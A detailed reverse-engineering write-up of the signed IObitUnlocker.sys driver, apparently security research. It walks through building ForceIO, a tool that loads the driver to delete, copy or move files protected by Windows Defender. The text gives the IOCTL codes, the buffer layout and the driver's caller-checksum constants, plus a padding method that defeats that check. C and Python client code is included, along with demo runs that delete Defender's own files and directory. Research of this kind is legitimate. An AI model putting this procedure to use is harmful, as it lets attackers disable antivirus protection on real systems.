Author: Marek Wesołowski (WESMAR)
Date: 25 June 2026
Target: Windows 11 Pro 26H1, build 28000, fully patched
Driver: IObitUnlocker.sys v1.3.0.10, signed by Microsoft Windows Hardware Compatibility Publisher (2022-08-17)
PL: Pełny reverse engineering sterownika IObitUnlocker.sys — odzyskanie protokołu IOCTL, złamanie walidacji checksum callera, korekta błędnie rozpoznanych kodów operacji i budowa standalone narzędzia ForceIO (czyste C, bez CRT) do usuwania oraz przenoszenia plików i katalogów chronionych przez minifiltr WdFilter.sys na Windows 11 28000. Write-up dokumentuje cały proces łącznie ze ślepymi uliczkami.
EN: Full reverse engineering of the IObitUnlocker.sys WHCP-signed kernel driver — IOCTL protocol extraction, buffer layout correction, caller checksum validation bypass, operation-code correction, and a standalone no-CRT tool (ForceIO) for deleting, copying, and moving files and directories protected by the WdFilter.sys minifilter on Windows 11 28000. This writeup documents the entire process including dead ends.
This document records the full reverse engineering of the IObitUnlocker.sys kernel driver — from the initial discovery of its minifilter-bypass capability, through several wrong turns in the IOCTL protocol, to the construction of a standalone tool called ForceIO that can delete, copy, and move files or directories protected by WdFilter.sys on a live, fully patched Windows 11 system.
In the security literature, "BYOVD" (Bring Your Own Vulnerable Driver) typically refers to drivers with memory safety vulnerabilities — arbitrary read/write primitives exploitable from user mode. IObitUnlocker.sys is not vulnerable in that sense. It is an overpowered signed driver: it exposes legitimate but excessively powerful kernel-mode file operations through a weakly guarded IOCTL interface. The distinction matters — this driver does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers project (June 2026). It loads normally on systems with HVCI and Driver Signature Enforcement enabled. I use "BYOVD" loosely because the exploitation pattern — loading a signed third-party driver to gain kernel capabilities — follows the same ATT&CK technique (T1068).
A more precise term might be BYOPD — Bring Your Own Overpowered Driver — describing signed drivers that are not exploitable in the memory-safety sense, but expose excessively powerful kernel primitives through a weakly guarded interface.
The investigation established six results:
The IOCTL protocol. The driver exposes exactly two IOCTL codes (0x222124 for file operations, 0x222128 for handle queries) through a 0x428-byte METHOD_BUFFERED buffer. The buffer layout documented in my initial analysis was incorrect — the corrected layout places SourcePath at offset +0x000, DestPath at +0x210, OperationType at +0x420, and Flags at +0x424.
The anti-BYOVD validation. The driver reads the calling process's entire executable image from disk via ZwQueryInformationProcess(ProcessImageFileName) → ZwCreateFile → ZwReadFile, and computes two checksums: a byte-wise XOR (== 0x2B) and an alternating add/subtract accumulator (== 0x00A88677). If either check fails, the driver returns STATUS_INVALID_PARAMETER (0xC000000D) without processing the IOCTL. This validation exists at IObitUnlocker.sys+0x3DC7.
The bypass. Appending correction bytes to the compiled executable satisfies both checksum constraints without modifying the driver binary. The driver's Microsoft WHCP signature remains valid. The build script (build.ps1) automates the computation and patching.
The real operation map. The final mapping is not what the first DLL pass suggested: OperationType=1 deletes, 2 is a flawed raw-IRP rename path, 3 performs a driver-side move/cut (copy plus source delete), and 4 performs copy without deleting the source. This distinction was the key to making directory move work.
The capabilities. The driver provides kernel-mode file delete, move/cut, copy, directory recursion, process termination (ZwTerminateProcess), and foreign handle closure (ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE). The operations are exposed through a weakly guarded IOCTL interface and can bypass protection that blocks normal user-mode file APIs.
The tool. ForceIO is a standalone PE32 executable compiled with /NODEFAULTLIB (no C runtime), using only kernel32, advapi32, and cabinet imports. The signed driver binary is LZX-compressed into a CAB archive appended to the application icon — at runtime, FDI decompresses it in memory and writes it to %SystemRoot%\forceio.dat. Each file operation runs a fully atomic driver session: create SCM service → start → execute IOCTL → stop → delete service → remove driver file. The service never persists in the registry between operations. No IObit DLL, no IObit EXE, no bloatware.
I'm writing this in chronological order, including the dead ends, because the failures are as instructive as the successes — each one revealed a constraint that shaped the final design.
On the MyDigitalLife forum, user adric reported that cmdt.exe (my TrustedInstaller elevation tool) cannot delete Windows Defender log files:
C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service>cmdt_x64.exe -cli del *.log
Result: Access denied. TrustedInstaller elevation does not help because the restriction is enforced in the kernel, not by ACL or token checks. The file in question — Unknown.Log — is protected by WdFilter.sys, the Windows Defender minifilter driver, which intercepts I/O requests at a Filter Manager altitude above the file system.
I had been maintaining the kvcstrm custom driver for god-mode kernel primitives, but it is unsigned. I wanted a signed alternative for situations where my own driver infrastructure is unavailable. The IObit Unlocker program ships a free, WHCP-signed driver (IObitUnlocker.sys) that performs exactly this class of operation — force-deleting locked and protected files from kernel mode. The question was whether I could extract the driver protocol and build a standalone tool that uses only the .sys file, without any IObit usermode binaries.
The official IObit installer is frequently criticized for bundling potentially unwanted programs (PUPs). It relies on pre-checked, easy-to-miss checkboxes that can silently install third-party utilities like VPNs or screen recorders if you do not carefully opt out. Once deployed, the standard setup registers browser extensions, context menu integrations, an auto-updater service, and telemetry infrastructure that phones home. For my use case — a surgical file deletion from an admin command prompt — I wanted a clean, standalone solution that avoids bundled software and speaks to the driver directly.
The strategy:
.sys driver from the IObit installation.sc create / sc start and sends the appropriate DeviceIoControl call.The driver retains its original Microsoft signature. No driver modification needed. The usermode tool is our own code — no IObit dependency.
| Item | Value |
|---|---|
| OS | Windows 11 Pro 26H1, build 28000, fully patched |
| Driver | IObitUnlocker.sys v1.3.0.10 (x64, AMD64) |
| PDB path | d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\amd64\IObitUnlocker.pdb |
| Driver SHA256 | (from PDB header — original development path reveals Chinese origin) |
| Certificate | Microsoft Windows Hardware Compatibility Publisher, 2022-08-17 |
| DLL | IObitUnlocker.dll (32-bit, PE32, Visual C++) |
| EXE | IObitUnlocker.exe (32-bit, GUI) |
| Tools | IDA Pro 9.1, CDB (Windows SDK 10.0.28000), Visual Studio 2026 Enterprise, Python 3.x, NASM |
I began with the usermode DLL rather than the kernel driver, because the DLL is the natural starting point — it contains the CreateFileW and DeviceIoControl calls that define the communication protocol from the client side.
IDA disassembly of IObitUnlocker.dll revealed six exports:
| Export | Purpose |
|---|---|
DriverStart |
Install SCM service, start driver, open device handle |
DriverStop |
Stop SCM service |
DriverUninstall |
Remove SCM service |
DriverDumpInfo |
Query handle owners (IOCTL 0x222128) |
DriverUnlockFile |
File operations (IOCTL 0x222124) |
DriverEndSelf |
Close IObit Unlocker window via EnumWindows + WM_CLOSE |
push offset FileName ; "\\\\.\\IObitUnlockerDevice"
call ds:CreateFileW
The DLL opens the device with dwDesiredAccess = 0xC0100000 (GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE), dwShareMode = 3 (FILE_SHARE_READ | FILE_SHARE_WRITE), dwCreationDisposition = OPEN_EXISTING.
Two IOCTL codes, both METHOD_BUFFERED, FILE_ANY_ACCESS:
#define IOCTL_ULK_OPERATION CTL_CODE(0x22, 0x849, METHOD_BUFFERED, FILE_ANY_ACCESS) // = 0x00222124
#define IOCTL_ULK_QUERY_HANDLES CTL_CODE(0x22, 0x84A, METHOD_BUFFERED, FILE_ANY_ACCESS) // = 0x00222128
Both use nInBufferSize = 0x428 (1064 bytes).
In sub_10001BF0 (called by DriverUnlockFile), the buffer is allocated and filled:
push 428h ; Size
call ??2@YAPAXI@Z ; operator new(0x428)
mov esi, eax ; esi = buffer base
; Zero entire buffer
push 428h
push 0
push esi
call _memset
; Set operation type and flags — AFTER zeroing
mov eax, [ebp+BytesReturned] ; actually the operation type parameter
or edi, 3 ; flags |= 3
mov [esi+420h], eax ; buffer[0x420] = operation type
mov [esi+424h], edi ; buffer[0x424] = flags | 3
; Copy source path to buffer START (offset 0!)
push eax ; size (max 0x210)
push ebx ; source path string
push esi ; buffer base ← offset 0x000, NOT 0x010!
call _memcpy
And for the destination path (rename/copy operations):
lea ebx, [esi+210h] ; dest path at buffer + 0x210
push edi ; source (dest path string)
push ebx ; buffer + 0x210
call _memcpy
// CORRECT — from DLL disassembly
typedef struct _ULK_BUFFER {
WCHAR SourcePath[264]; // +0x000 (0x210 bytes, null-terminated)
WCHAR DestPath[264]; // +0x210 (0x210 bytes)
ULONG OperationType; // +0x420
ULONG Flags; // +0x424 (DLL always ORs with 0x3)
} ULK_BUFFER; // Total: 0x428 (1064 bytes)
The path fields occupy 264 WCHARs each (528 bytes), not 260. The operation type is at +0x420, not +0x000. The Source string constant in the DLL data section turned out to be simply L"\\" — a single backslash used for path normalization when the input is a bare drive letter like C:.
From the DLL's normalisation logic, operations 3 and 4 looked at first like "copy file" and "copy directory". That was only half-true. The final driver-side behaviour is:
| Code | Operation | Needs DestPath |
|---|---|---|
| 1 | Delete | No |
| 2 | Raw rename | Yes |
| 3 | Move / cut | Yes |
| 4 | Copy | Yes |
The important correction is 3 vs 4: OperationType=3 is not a pure copy. It copies data through the driver and deletes the source afterwards. OperationType=4 is the true copy path and leaves the source intact.
This mistake mattered. A naive rename fallback implemented as "copy then delete" produced ERROR_DIR_NOT_EMPTY (145) on a protected Defender directory because the user-mode enumeration path could not see or remove everything. Switching the fallback to the driver's own OperationType=3 made the directory move succeed.
The driver's PE import table (single import from ntoskrnl.exe) reveals the full capability set. I reconstructed the Import Address Table by parsing the PE Import Directory at RVA 0xA084 using CDB:
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<hint_rva>; q"
| IAT offset | Function | Category |
|---|---|---|
+0x7000 |
ExAllocatePoolWithTag |
Memory |
+0x7010 |
ExFreePoolWithTag |
Memory |
+0x7018 |
IoDeleteDevice |
Device lifecycle |
+0x7020 |
IofCompleteRequest |
IRP completion |
+0x7028 |
IoCreateSymbolicLink |
Device lifecycle |
+0x7030 |
IoCreateDevice |
Device lifecycle |
+0x7038 |
_wcsnicmp |
String |
+0x7040 |
ZwReadFile |
File I/O |
+0x7048 |
IoGetRelatedDeviceObject |
IRP routing |
+0x7050 |
MmGetSystemRoutineAddress |
Dynamic import |
+0x7058 |
KeInitializeEvent |
Synchronization |
+0x7060 |
ExInterlockedPopEntryList |
Interlocked list |
+0x7068 |
KeDelayExecutionThread |
Retry delay |
+0x7070 |
IoFileObjectType |
Object type for ObRef |
+0x7078 |
ZwWaitForSingleObject |
Synchronization |
+0x7080 |
ZwCreateFile |
File open |
+0x7088 |
ExAllocatePool |
Memory (legacy) |
+0x7090 |
IoGetCurrentProcess |
Process context |
+0x7098 |
ZwClose |
Handle close |
+0x70A0 |
ObReferenceObjectByHandle |
Handle → object |
+0x70A8 |
KeWaitForSingleObject |
Synchronization |
+0x70B0 |
RtlCompareUnicodeString |
String |
+0x70B8 |
IoAllocateIrp |
Raw IRP construction |
+0x70C0 |
ObfDereferenceObject |
Object deref |
+0x70C8 |
ZwQueryInformationFile |
File info |
+0x70D0 |
ZwWriteFile |
File I/O (copy) |
+0x70D8 |
ObOpenObjectByPointer |
Object → handle |
+0x70E0 |
DbgPrint |
Debug logging |
+0x70E8 |
IofCallDriver |
Direct IRP dispatch |
+0x70F0 |
_wcsicmp |
String |
+0x70F8 |
PsGetProcessPeb |
Process info |
+0x7100 |
PsLookupProcessByProcessId |
PID → EPROCESS |
+0x7108 |
RtlInitUnicodeString |
String |
+0x7110 |
KeSetEvent |
Synchronization |
+0x7118 |
RtlAppendUnicodeToString |
String |
+0x7120 |
IoCreateFile |
File open (kernel) |
+0x7128 |
ZwQuerySystemInformation |
System queries |
+0x7130 |
KeUnstackDetachProcess |
Process context |
+0x7138 |
ObQueryNameString |
Object name |
+0x7140 |
wcsrchr |
String |
+0x7148 |
ZwQueryDirectoryFile |
Directory enum |
+0x7150 |
_vsnwprintf |
Formatting |
+0x7158 |
RtlAppendUnicodeStringToString |
String |
+0x7160 |
ZwDuplicateObject |
Handle duplication |
+0x7168 |
IoFreeIrp |
IRP cleanup |
+0x7170 |
ZwOpenProcess |
Process open |
+0x7178 |
PsGetCurrentProcessId |
Current PID |
+0x7180 |
MmIsAddressValid |
Pointer validation |
+0x7188 |
ZwTerminateProcess |
Process kill |
+0x7190 |
ExInterlockedPushEntryList |
Interlocked list |
+0x7198 |
KeStackAttachProcess |
Process context attach |
+0x71A0 |
KeBugCheckEx |
Blue screen (critical) |
The import table reveals seven distinct kernel primitives:
Force-delete — ZwCreateFile(DELETE) → ZwSetInformationFile(FileDispositionInformation) → ZwClose. The file is marked for delete-on-close. If a SHARING_VIOLATION occurs, the driver retries with KeDelayExecutionThread.
Raw rename — hand-built IRP_MJ_SET_INFORMATION with FileRenameInformation. This path exists but is not reliable for normal Win32 destination paths; it returned ERROR_INVALID_NAME in practical testing.
Force-move / cut — driver-side copy followed by driver-side deletion of the source. This is the operation that made protected directory rename/move usable.
Force-copy — ZwCreateFile(GENERIC_READ) source → ZwCreateFile(GENERIC_WRITE) destination → ZwReadFile/ZwWriteFile loop. This leaves the source intact.
Directory recursion — ZwQueryDirectoryFile with FileDirectoryInformation, skip ., .., and $Extend\$RmMetadata\$TxfLog (NTFS transaction log).
Process termination — PsLookupProcessByProcessId → ZwTerminateProcess. Protected process list: System, csrss.exe, lsass.exe, lsm.exe, smss.exe, wininit.exe, winlogon.exe, userinit.exe, explorer.exe, IObitUnlocker.exe.
Foreign handle closure — ZwOpenProcess(PROCESS_DUP_HANDLE) → ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE. This closes a file handle held by another process without killing it.
Raw IRP construction — IoAllocateIrp + IoGetRelatedDeviceObject + IofCallDriver. This is the mechanism used by the rename path and explains why its semantics differ from the higher-level ZwSetInformationFile path.
The driver uses MmGetSystemRoutineAddress in DriverEntry to resolve ZwQueryInformationProcess, storing the function pointer at .data+0x8150. This avoids declaring the import in the PE import table (possibly for compatibility with older Windows versions where the export may not exist).
The driver writes operational logs to \Device\HarddiskVolume1\unlocker.log (or \SystemRoot\unlocker.log as fallback):
ULKDeleteFile: 0x%08x, %wZ
ULKDeleteDirectoryItSelf: 0x%08x, %wZ
ULKRenameFile: 0x%08x
ULKCopyFile: 0x%08x, %wZ, %wZ
create file 0x%08x, %wZ
process name: %ws
ZwTerminateProcess: 0x%08x
ZwDuplicateObject: ProcessID: %I64u, 0x%08x
Armed with the corrected buffer layout from Phase 1, I wrote a Python client using ctypes to call DeviceIoControl directly. The approach seemed straightforward:
h = kernel32.CreateFileW(r"\\.\IObitUnlockerDevice", 0xC0000000, 3, None, 3, 0, None)
buf = bytearray(0x428)
path = r"C:\Temp\test.txt"
buf[0:len(path.encode('utf-16-le'))] = path.encode('utf-16-le')
struct.pack_into('<I', buf, 0x420, 1) # OP_DELETE
struct.pack_into('<I', buf, 0x424, 3) # Flags
kernel32.DeviceIoControl(h, 0x222124, in_buf, 0x428, out_buf, 4, byref(ret), None)
Every single IOCTL call returned error 87 (ERROR_INVALID_PARAMETER), which maps to NTSTATUS 0xC000000D. Both IOCTL codes failed. Different buffer sizes, content variations, output buffer sizes — all returned the same error.
I confirmed the exact NTSTATUS by calling NtDeviceIoControlFile from ntdll.dll:
ntdll.NtDeviceIoControlFile(h, None, None, None, byref(iosb),
0x222124, byref(in_arr), 0x428, byref(out_arr), 4)
# → NTSTATUS = 0xC000000D
The device handle opened successfully (handle value 452 — a valid kernel object). The failure was in the IOCTL dispatch, not the device open.
The DLL is 32-bit (PE32). My Python was 64-bit. Could WOW64 cause buffer marshaling issues? For METHOD_BUFFERED, the I/O manager copies the buffer byte-for-byte regardless of caller bitness. This hypothesis was incorrect.
I renamed python.exe to IObitUnlocker.exe and ran the test again. Same error. The driver was not simply checking the process name.
Since the DLL-side protocol was correct but the driver rejected every call, I needed to disassemble the driver's IOCTL handler. Without symbols (PDB unavailable), I used CDB in offline mode:
cdb -z IObitUnlocker.sys -c "u IObitUnlocker+0x10d4 L60; q"
DriverEntry (at +0xA064) jumps to +0x10d4 after calling a runtime initialization stub at +0xA008. The dispatch table setup:
; rdi = DriverObject
mov qword ptr [rdi+68h], rax ; DriverUnload = +0x123C
lea rax, [IObitUnlocker+0x12b4]
mov qword ptr [rdi+0E0h], rax ; MajorFunction[14] = +0x12B4 (IRP_MJ_DEVICE_CONTROL)
lea rax, [IObitUnlocker+0x128c]
mov qword ptr [rdi+70h], rax ; MajorFunction[0] = +0x128C (IRP_MJ_CREATE)
mov qword ptr [rdi+80h], rax ; MajorFunction[2] = +0x128C (IRP_MJ_CLOSE — same handler)
The handler reads the IO_STACK_LOCATION:
mov rax, [rdx+0B8h] ; Irp->Tail.Overlay.CurrentStackLocation
mov ecx, [rax+18h] ; Parameters.DeviceIoControl.IoControlCode
mov r13d, [rax+8] ; Parameters.DeviceIoControl.OutputBufferLength
Default status is set to STATUS_INVALID_PARAMETER:
mov r15d, 0C000000Dh ; STATUS_INVALID_PARAMETER
mov [rdx+30h], r15d ; Irp->IoStatus.Status = 0xC000000D
IRQL check (must be PASSIVE_LEVEL for usermode IOCTL dispatch):
mov rax, cr8 ; read IRQL from CR8
cmp al, bl ; bl = 0 (PASSIVE_LEVEL)
jne completion ; fail if not PASSIVE
IOCTL routing:
sub ecx, 222124h ; check first code
je operation_handler ; → +0x14A7
cmp ecx, 4 ; 0x222128 - 0x222124 = 4
jne completion ; anything else → fail
; fall through to query handler
Both handlers read the buffer from Irp->AssociatedIrp.SystemBuffer at [rdi+18h]:
; Operation handler (+0x14A7):
mov r12, [rdi+18h] ; r12 = SystemBuffer
mov r13d, [r12+420h] ; OperationType at +0x420
mov r14d, [r12+424h] ; Flags at +0x424
This confirmed the DLL-side buffer layout from Phase 1 was correct. The driver reads OperationType from +0x420 and Flags from +0x424. The source path starts at +0x000.
Both IOCTL handlers call a validation function at +0x3CB0 before accessing the buffer:
call IObitUnlocker+0x3cb0 ; validation
cmp eax, ebx ; check NTSTATUS >= 0
jl completion ; fail → default STATUS_INVALID_PARAMETER
If validation returns a negative NTSTATUS, the IOCTL handler bails immediately. This is where my Python calls were dying.
After validation, the file-operation handler dispatches on OperationType at buffer offset +0x420:
sub r8d, 1
je delete_path ; OperationType = 1
sub r8d, 1
je raw_rename_path ; OperationType = 2
sub r8d, 1
je move_cut_path ; OperationType = 3
cmp r8d, 1
je copy_path ; OperationType = 4
The first implementation of ForceIO treated OperationType=3 as copy because the DLL-side code looked like a copy helper and because the driver imports ZwReadFile / ZwWriteFile. That was wrong. A direct test showed the source disappears after OperationType=3; therefore it is a move/cut operation. OperationType=4 is the true copy operation.
The raw rename path (OperationType=2) opens the source and manually builds an IRP_MJ_SET_INFORMATION request containing FILE_RENAME_INFORMATION. It then calls IofCallDriver directly. That is clever, but it misses part of what the I/O Manager normally does for ZwSetInformationFile: resolving the target directory and setting up the file object context expected by the filesystem.
The symptom was consistent:
ForceIO.exe rename C:\...\aaa.txt C:\...\bbb.txt
[-] Failed, error=123 (0x0000007B) ; ERROR_INVALID_NAME
Changing the destination format did not fix it. I tried normal Win32 paths, \??\C:\..., volume-relative paths, and full NT device paths. The reliable solution was not to force OperationType=2; it was to keep it as a first attempt and fall back to the driver's own OperationType=3 move/cut path.
This was the core of the investigation. The validation function at +0x3CB0 implements a caller-verification mechanism designed to prevent third-party tools from using the driver.
call qword ptr [+0x7090] ; IoGetCurrentProcess() → EPROCESS
; Check if ZwQueryInformationProcess was resolved
cmp qword ptr [+0x8150], rsi ; NULL check
je skip_process_check
; Open the process to get a handle
mov rcx, rax ; Object = EPROCESS
mov edx, 200h ; HandleAttributes = OBJ_KERNEL_HANDLE
call qword ptr [+0x70D8] ; ObOpenObjectByPointer(EPROCESS, ...)
The inner function at +0x3A14 calls the dynamically-resolved ZwQueryInformationProcess:
lea edx, [r9+1Bh] ; ProcessInformationClass = 27 = ProcessImageFileName
mov rcx, rsi ; ProcessHandle
call rax ; ZwQueryInformationProcess(handle, 27, NULL, 0, &needed)
cmp eax, 0C0000004h ; STATUS_INFO_LENGTH_MISMATCH → got required size
After determining the required buffer size, it allocates pool with tag 'NELR', calls ZwQueryInformationProcess again to get the full path (e.g., \Device\HarddiskVolume3\Projekty\ForceIO\bin\ForceIO.exe), and copies it to the output buffer.
Function +0x3AF0 receives the process image path as a UNICODE_STRING and:
ZwCreateFile with DesiredAccess = GENERIC_READ, CreateOptions = FILE_NON_DIRECTORY_FILE.ZwQueryInformationFile(FileStandardInformation) to get the file size.EndOfFile size with tag 'NELR'.ZwReadFile to read the entire executable into kernel memory.The driver computes two checksums over the raw bytes of the executable image:
Checksum 1 — XOR accumulator:
; rdi = file buffer, r8 = file size, esi = 0 (initial)
xor_loop:
movzx eax, byte ptr [rcx]
inc r11d
inc rcx
xor esi, eax ; esi ^= byte
cmp rax, r8
jb xor_loop
mov [rbp], esi ; store result
Checksum 2 — alternating add/subtract:
; edx = 0 (index), ebx = 0 (initial)
alt_loop:
movzx eax, byte ptr [rcx]
test dl, 1 ; index & 1?
jne subtract
add ebx, eax ; even index: accumulator += byte
jmp next
subtract:
sub ebx, eax ; odd index: accumulator -= byte
next:
inc edx
inc rcx
cmp rax, r8
jb alt_loop
mov [r12], ebx ; store result
This is the money shot, at +0x3DC7:
cmp dword ptr [rsp+70h], 2Bh ; XOR checksum == 0x2B?
jne fail ; → return STATUS_UNSUCCESSFUL
cmp dword ptr [rsp+78h], 0A88677h ; ALT checksum == 0x00A88677?
jne fail ; → return STATUS_UNSUCCESSFUL
xor eax, eax ; return STATUS_SUCCESS
jmp return
fail:
mov eax, 0C0000001h ; STATUS_UNSUCCESSFUL
The driver hardcodes two magic constants: 0x2B and 0x00A88677. These are the XOR and alternating checksums of the original IObitUnlocker.exe binary (2,699,584 bytes). Any calling process whose executable does not produce these exact values is rejected.
def checksums(data):
xor_s, alt_s = 0, 0
for i, b in enumerate(data):
xor_s ^= b
alt_s += b if i % 2 == 0 else -b
return xor_s & 0xFF, alt_s & 0xFFFFFFFF
with open('IObitUnlocker.exe', 'rb') as f:
data = f.read()
print(checksums(data)) # → (0x2B, 0x00A88677) ✓
Before finding the checksum solution, I tried several approaches that failed. Each failure is documented because they illuminate the validation mechanism.
I copied python.exe to C:\Temp\IObitUnlocker.exe and ran the test script:
C:\Temp\IObitUnlocker.exe test_ioctl.py
→ ERROR 87 (STATUS_INVALID_PARAMETER)
Why it failed: The driver does not check the filename — it reads the file content and computes checksums. A differently-compiled binary with the same name fails.
I compiled a 32-bit C program using Visual Studio that loads IObitUnlocker.dll and calls DriverUnlockFile directly:
HMODULE hDll = LoadLibraryW(L"IObitUnlocker.dll");
pfnDriverStart pStart = (pfnDriverStart)GetProcAddress(hDll, "DriverStart");
pStart(); // returns 1 (success)
pUnlock(path, NULL, 1, 0, &result); // returns 87!
DriverStart succeeded (returned 1, device handle opened). But DriverUnlockFile returned error 87.
Why it failed: The DLL calls DeviceIoControl from within our process context. The driver's IoGetCurrentProcess() returns our process (ulk_client.exe), not IObitUnlocker.exe. The driver reads ulk_client.exe from disk, computes its checksums, and rejects it.
Considered using C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe with Add-Type to compile inline C# that P/Invokes the DLL. Abandoned this path when I realized the same caller-validation issue would apply regardless of which language makes the DeviceIoControl call.
The idea: start the real IObitUnlocker.exe, inject our code via CreateRemoteThread, and have it call DriverUnlockFile from within the legitimate process context. This would work — the driver reads IObitUnlocker.exe from disk and the checksums match.
I did not pursue this because I found a simpler solution: the checksum bypass.
The insight was that the checksums are simple linear functions over the byte stream. Appending additional bytes to the executable changes both checksums in a predictable way. Since the PE loader ignores data after the last PE section, appended bytes do not affect execution.
For a file of N bytes b[0], b[1], ..., b[N-1]:
XOR = b[0] ⊕ b[1] ⊕ ... ⊕ b[N-1]ALT = b[0] - b[1] + b[2] - b[3] + ... (even indices add, odd indices subtract)Appending a pair [a, b] at positions N (even), N+1 (odd):
XOR_new = XOR_old ⊕ a ⊕ bALT_new = ALT_old + a - bΔ_ALT = TARGET_ALT - current_ALT.⌊Δ_ALT / 255⌋ pairs of [0xFF, 0x00] — each adds 255 to ALT and XORs the accumulator by 0xFF.[b0, b1, b2, b3] that satisfy the remaining ALT correction and XOR correction simultaneously.The final correction requires:
b0 ⊕ b1 ⊕ b2 ⊕ b3 = XOR_fixb0 - b1 + b2 - b3 = ALT_remainderThis is a system of two equations in four unknowns with byte-range constraints (0 ≤ bᵢ ≤ 255). The search space is 256⁴ but can be decomposed into 256² × 256 with early pruning — typically runs in under a second.
The build.ps1 script automates the entire process:
# Compile through MSBuild
MSBuild.exe src\ForceIO.vcxproj /p:Configuration=Release;Platform=Win32
# Compute current checksums
$cs = Get-Checksums -Data $data
# Current: XOR=0x77 ALT=0xFFFFA967
# Target: XOR=0x2B ALT=0x00A88677
# Calculate and append correction bytes
# Bulk pairs: 43398, remainder: 150
# Correction bytes: [32, 3, 124, 3]
# Verify
# Patched: 150800 bytes (appended 86800 bytes)
# ✓ XOR=0x2B ALT=0x00A88677
The appended data is roughly 87 KB of [0xFF, 0x00] padding plus four correction bytes. This is PE overlay data; the Windows loader ignores it, but the driver checksum loop reads it from disk.
The ~87 KB overhead is not an implementation shortcoming — it is the mathematical minimum. The compiled ForceIO binary produces an ALT checksum near 0xFFFFB400 (a large negative value in unsigned 32-bit space). The target is 0x00A88677. The unsigned modular distance is approximately 0x00A8D277 ≈ 11,064,951. Each [0xFF, 0x00] pair contributes +255 to the ALT accumulator without disturbing the XOR constraint (since 0xFF ⊕ 0x00 = 0xFF, and an even count of such pairs cancels out). This requires ⌈11,064,951 / 255⌉ ≈ 43,392 pairs = 86,784 bytes of padding.
No alternative byte pattern can close the gap faster:
0x00 at odd positions).[0xFF, 0x00] is already the maximum-efficiency correction unit.This was verified by exhaustive analysis: there is no 2-byte or 4-byte solution that satisfies both XOR and ALT constraints simultaneously for a gap of ~11 million. The bulk padding is the only path, and it runs in a single linear pass — no brute force, no iteration. Only the final 4-byte corrector requires a search (decomposed to 256² × 256 with pruning, completes in milliseconds).
The result is a PE overlay that is mathematically minimal, deterministic, and reproducible across builds. The Windows PE loader ignores overlay data entirely — it is never mapped into memory, never executed, and has no effect on runtime behaviour. The driver, however, reads the file from disk via ZwReadFile and checksums every byte including the overlay.
The obvious alternative — patching the driver to skip the checksum validation — would require modifying only 4 bytes (two jne → NOP NOP at +0x3DCC and +0x3DD6). However, any modification to the .sys binary invalidates its Microsoft WHCP Authenticode signature, and the driver will refuse to load on any system with Driver Signature Enforcement enabled — which is the default on all supported Windows 10/11 configurations. The ~87 KB of padding is the price of preserving the original signature. See §12.3 for the full analysis of the driver-patching alternative.
/NODEFAULTLIB, /ENTRY:Entry, /GS-. Only kernel32.dll, advapi32.dll, and cabinet.dll are imported.DeviceIoControl directly.forceio.dat to %SystemRoot%. The icon remains valid for Explorer — the appended CAB data is invisible to the icon parser.Sleep calls — ControlService(STOP) on kernel drivers is synchronous.IObitUnlocker and ImagePath = forceio.dat are created and destroyed within a single atomic session. Post-operation, sc query IObitUnlocker returns ERROR_SERVICE_DOES_NOT_EXIST and %SystemRoot%\forceio.dat does not exist on disk.The driver is x64 (PE64). ForceIO is compiled as x86 (PE32). This works because:
METHOD_BUFFERED is bitness-transparent. The I/O Manager allocates the system buffer in kernel space, copies the user buffer byte-for-byte, and passes it to the driver. No pointer reinterpretation occurs.ULK_BUFFER contains no pointers. All fields are WCHAR arrays and ULONG values — fixed-size, architecture-independent. There is no alignment or padding difference between 32-bit and 64-bit representations.ZwQueryInformationProcess(ProcessImageFileName) returns the real image path regardless of WOW64 — the driver reads and checksums the actual PE32 file on disk.The x86 choice provides smaller binary size, no 64-bit CRT dependency to avoid, and confirms that the entire protocol is bitness-independent.
The heart of ForceIO is a single function:
static DWORD SendOperation(HANDLE hDev, const wchar_t* src,
const wchar_t* dst, ULONG op) {
ULK_BUFFER buf;
memset(&buf, 0, sizeof(buf));
wcopy_safe(buf.SourcePath, src, 264);
if (dst && dst[0])
wcopy_safe(buf.DestPath, dst, 264);
buf.OpType = op;
buf.Flags = 3; // match original DLL behaviour
ULONG out = 0;
DWORD ret = 0;
SetLastError(0);
DeviceIoControl(hDev, 0x222124, &buf, 0x428, &out, 4, &ret, NULL);
return GetLastError();
}
The high-level rename command intentionally uses three attempts:
OperationType=2 raw rename.MoveFileExW(..., MOVEFILE_COPY_ALLOWED | MOVEFILE_WRITE_THROUGH) for ordinary filesystem cases.OperationType=3 driver-side move/cut for locked or minifilter-protected targets.The copy command uses OperationType=4, not 3, so the source remains in place.
ForceIO — minifilter-bypass file operations via signed driver
© WESMAR Marek Wesołowski
Usage: ForceIO <command> <path> [dest]
Commands:
delete <path> Force-delete file (bypasses WdFilter)
rename <src> <dst> Force-rename/move file
copy <src> <dst> Copy locked file
start Load driver only
stop Unload driver
cleanup Stop driver, remove service, delete temp files
PS> Remove-Item "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64" -Force
Remove-Item: Access to the path is denied.
PS> .\ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
[*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
[+] Success.
PS> Test-Path "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
False
Remove-Item with -Force fails with Access denied — WdFilter blocks the I/O request.
ForceIO deletes the file successfully — the IOCTL routes below the Filter Manager.
After correcting OperationType=3, a protected Defender directory can be moved and then deleted:
C:\Projekty\ForceIO\bin>ForceIO.exe rename "c:\ProgramData\Microsoft\Windows Defender\" "c:\ProgramData\Microsoft\Windows Defender_\"
[*] RENAME: c:\ProgramData\Microsoft\Windows Defender -> c:\ProgramData\Microsoft\Windows Defender_
[+] Success.
C:\Projekty\ForceIO\bin>ForceIO.exe delete "c:\ProgramData\Microsoft\Windows Defender_"
[*] DELETE: c:\ProgramData\Microsoft\Windows Defender_
[+] Success.
This was the practical confirmation that the driver-side move/cut path matters. The earlier fallback (copy then delete) failed on this class of target with ERROR_DIR_NOT_EMPTY (145).
| Element | Value |
|---|---|
| Device Object | \Device\IObitUnlockerDevice |
